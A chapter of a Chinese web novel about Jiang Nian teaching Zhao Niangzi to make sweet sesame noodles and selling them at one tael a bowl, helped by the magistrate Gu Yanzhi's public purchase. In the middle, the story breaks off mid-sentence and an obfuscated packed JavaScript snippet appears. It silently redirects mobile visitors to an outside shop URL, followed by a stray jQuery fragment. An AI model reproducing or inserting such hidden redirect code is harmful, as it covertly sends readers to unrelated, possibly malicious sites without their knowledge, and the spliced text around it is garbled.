姜念先取了清澈的草木灰水，倒进面粉里。
赵娘子眼中似有疑惑，却没有多问。听着指点挽起袖子，将面团揉开、折叠，再揉开。原本松散的面团渐渐紧实，按下去时，已能觉出明显的韧劲。
醒过一阵后，一抖一扯，面团便被拉成细长的面条。
面条落进沸水里，翻滚片刻后捞起，再过一遍凉水，颜色便透出浅浅的黄，瞧着透亮筋韧，与寻常素面不同。
接着，姜念拿出一只陶罐，揭开盖子，里面是码得整齐的冰糖，黄澄澄的、大小均匀、泛着晶莹剔透的光。
兰娘目光落在那罐冰糖上，半晌都没挪开：“这是......”
这等琥珀色的冰糖，她只在京城大商行见过，摆在柜子顶上，世家大族才舍得买，寻常人家问价前，都要先掂量兜里的银子。
“从京城带来的。”
姜念给系统货寻了个稳妥的理由，便取了一小块冰糖下锅，用小火熬成浓糖水。再把化开的麻酱搅进去，糖色与酱色融成浓稠的金褐，淋在煮好的面条上。
略带焦香的甜、麻酱的香，随着热气慢慢散开。
各人夹了一筷子。
面条入口柔韧，齿间一咬，筋道回弹，再裹着香甜浓稠的酱汁，缓缓顺着舌根滑下去。冰糖的清甜里带着焦香，又被麻酱压住，越嚼越觉得香。
兰娘低声赞叹：“我儿时随祖母去贵人家赴宴，才尝过这样香甜的滋味。”
赵娘子嚼着嚼着，眼眶忽然红了：“这面条......怎么这么筋道啊，这汁子又这么香甜。我吃了这一口，只想着给我那俩孩子也带一碗尝尝。”
瞧着二人的反应，姜念不由莞尔。
现代面粉太扎眼，只能用调味品来弯道超车，不过看起来，效果还不错。
“这碗面，卖一两银子。”
兰娘和赵娘子险些惊掉了筷子。
“一两银子？”
“能卖得出去吗？”
姜念慢悠悠道：“自然可以，不过光好吃还不够，还得给它包装包装。”
*
方勇带着几名工匠从县衙里出来，本想吃碗热乎云吞，再配个烧饼，却发现今日门口空落落的，倒是有一群人围着个小摊子。
凑近一瞧，摊主就是赵娘子。
桌子擦得铮亮，白瓷碗一个缺口都没有，三团面条码在案上，用竹篾盖着。旁边一只小陶罐，隐约渗出来甜香。
围着的众人都在谈论：赵娘子不卖云吞了，改卖一种叫“解忧面”的神仙面，一碗一两银子，一日只卖三碗，多了不卖，怕折了福气。
工匠纷纷咋舌：
“一两银子的面？抢钱啊！”
“说是仙人托梦的方子。”
方勇眯眼打量那只小陶罐，咧嘴笑出一口白牙：“仙人托梦？那敢情好。今儿晚上咱都早点睡，看能不能也梦一个。”
旁边几人哈哈大笑。
他招呼着：“走吧，去巷尾那家烧饼，垫垫肚子。”
来摊子看热闹的人越来越多。
赵娘子不吆喝，有人问就答两句，没人问就安静坐。
一名老胥吏背着手看了半晌：“赵娘子，你这面，吃了是能强身健体，还是能延年益寿啊？”
赵娘子淡淡道：“这我不知。仙人只传了方子，没传这些。”
“那你凭什么卖一两银子？”
“好吃。”
人群里有人哄笑。
老胥吏也乐了：“一两银子一碗，就一句好吃？你这骗银子吧。”
赵娘子不急不缓：“一日只卖三碗。您若想尝，便买第一碗。若不想，便别拦着我的贵客。”
老胥吏被噎了一下，嘟囔着走了：“我看你就卖不出去。”
围观的人来了一拨又散一拨。
赵娘子虽然坐得挺直，手心却渐渐出了汗。
她望了一眼客栈方向，心里拿不准，只靠她一个人应对，能行吗？要是一碗都卖不出去呢？
客栈二楼露台。
姜念靠坐在栏边，捧着本《百家姓》翻阅。
兰娘在她身边走来走去，有些焦灼：
“现在还没人买，要不，我去买一碗？”
“不必。”
她心里也有担忧，可更清楚，第一单生意，最好由赵娘子自己等来。若一开始便靠她们撑场，赵娘子心里到底会少三分底气。
况且，此时天色尚早。
微风拂过，街口人流渐趋攒动。
终于，有人走到摊子前面。
长衫玉立，眉目俊雅，通身一股不落俗尘的书卷气。
瞧见县令竟然亲自来了，原本散开的人群一下子又围了回来。
赵娘子站起来：“大人......”
顾衍之将一两银子放在桌上，温声道：“劳烦了，今日讨个福气。第一碗，我带回去给夫人尝尝。”
四周顿时安静。
赵娘子松了口气，连忙煮面。
面条入锅，滚两滚捞起，趁热淋一大勺糖酱，筷子挑匀，浓稠甜香随着热气漫开。周围看热闹的人，不自觉地吸了吸鼻子。
赵娘子用两片干净荷叶盖在碗上，又拿细棉绳扎了个漂亮的结，这才递了过去。
顾衍之接过，施施然向客栈走去。
人群自动让开一条路，目光全追着他手里那个荷叶包。
二楼露台上，兰娘将这一幕瞧得清楚，长长舒了一口气：“原来夫人与大人通了气，也不提早跟我透个底，害得我白白急出一身汗。”
姜念默默将手里的册子合上：“......”
并没有通气。
估摸是顾衍之瞧出了她的打算，主动凑上来送人情的。
不过，县令的活广告，效果委实不错。
方才那股甜香久久不散，大伙的馋虫都被勾出来。
“真香......我活了三十多年，没闻过这么香甜的味儿。”
“你说这面真有那么好吃？”
“顾大人都买了，人家探花出身，文曲星下凡似的，能骗人么？”
“莫非真是仙人托梦给的方子？要不，咱凑钱买一碗尝尝？”
正议论着，后面有人嗤笑。
“穷酸，一两银子都要凑。”
一个圆脸的年轻男子，摇着把附庸风雅的折扇，慢悠悠走过来，身后跟着两个推搡人群的小厮。
“来一碗，本少爷倒要看看，这县令大人的眼光如何。”
赵娘子认出了来人，是张主簿家的小儿子，张虎。
想起张家酒肆昨夜的做派，她压住心头火气，冷淡道：“先付银子。”
此言一出，周遭围观的百姓面面相觑，赵娘子今日好大的胆子，竟敢一上来就跟张虎要银子。
这位小爷在街面上吃喝拿要，向来都是“记在账上”，至于那账，最后自然是收不回来。
张虎果然皱眉：“一两银子爷还能欠你的？先上。”
赵娘子坐着一动不动。
周围目光灼灼地落过来，人群中传来小声嘀咕：“到底买不买？不买我们可要买了。”
张虎脸色变了变，小厮连忙掏出一两碎银，搁在桌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720833|208637||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上。
赵娘子收好银子，这才起身煮面。
面条入锅，剩余的糖酱全淋上，甜香再次散开。
众人不由跟着这股香气，深深呼吸。
张虎端起碗，夹了一筷子送进嘴里，又夹了一筷，第三筷，第四筷......
白瓷碗已经见了底。
他擦擦嘴巴，嗤笑道：“什么解忧面，神仙面，不过是碗加了糖酱的面罢了。”
大伙看着他手里只剩酱汁的碗，默不作声。
赵娘子维持着平淡的神色，脊背已渗出冷汗。
站了会，张虎向小厮努努嘴，“再买一碗......给我娘也尝尝。”
卖出第三碗后，赵娘子悬着的心终于放下来，对着伸长了脖子的大伙道：“诸位街坊，今日三碗面已然卖完了，明日请早吧。”
人群里顿时一片哀叹。
“一日真的只卖三碗？别放着银子不挣啊。”
“张虎都愿意花银子，那面得好吃成什么样啊！”
赵娘子不理会那些纷杂的声音，将摊子往角落一收，撒腿往客栈跑去。
“顾夫人，卖完了！”
才听见楼下的叫唤，下一刻，赵娘子风风火火冲了进来，将三两银子往她面前一放：
“夫人......都在这儿，都是您的，若不是您教我方子，我哪能挣到这银子？”
姜念放下面碗，将一两银子放进赵娘子手心：
“我既与你说好三七分成，便按照规则来，该是你的，就拿着。”
赵娘子拢紧手指，低头看了好一会儿，才哑声道：“谢谢夫人。”
听了这句话，姜念心里也浮起一点酸胀。
在大石县摆摊子不容易，一个月早出晚归，也未必能攒下一两。今日不过半日，这银子便实实在在落进了赵娘子手里。
挣钱就该趁热打铁。
她继续道：“明日抬价，二两一碗。”
赵娘子：“？”
兰娘：“？”
顾衍之在旁边喝茶，闻言不由看了过来。
姜念却没有解释的意思，只往椅背上懒洋洋一靠，得意的笑意从嘴角漫到眼底，颇似一只吃完鱼干在晒太阳的狸奴。
如果有尾巴的话，大概正不紧不慢地晃着。
他不动声色地端走那碗面，拿起新筷，挑起一束送入口中。
姜念：“？”
她还没吃呢！
她有些微恼，劈手就去夺：“顾衍之，你——”
不是说买给她的吗？
话到一半，又硬生生停住。
不过一碗面罢了，她想做多少就能做多少，何必与他计较。
顾衍之指尖扣着碗沿，根本没有要还的意思，一双桃花眼弯起极好看的弧度：
“夫人高见。明日卖二两，后日卖三两。试到一日卖不满三碗时，便是这解忧面的定价。名气，也算彻底打响了。”
对上他那双漂亮得过分的眼睛，又瞧了瞧被他动过一筷的甜面，姜念颇为心累：
“行了，吃吧，看把你能的。”
“那便谢过夫人体贴了。”顾衍之笑意更深，话尾轻轻一扬，倒像真占了什么便宜。
兰娘在旁边看得清清楚楚，嘴角忍不住带了点笑意，她极有眼色地一把捞过赵娘子，扯着人就往另一边看风景。
赵娘子满脑子还是“二两”、“三两”、“一日卖不满三碗时”......
直到被兰娘按在椅子上，她才想明白，嘟囔了一句：
“这面......还能这样卖啊？”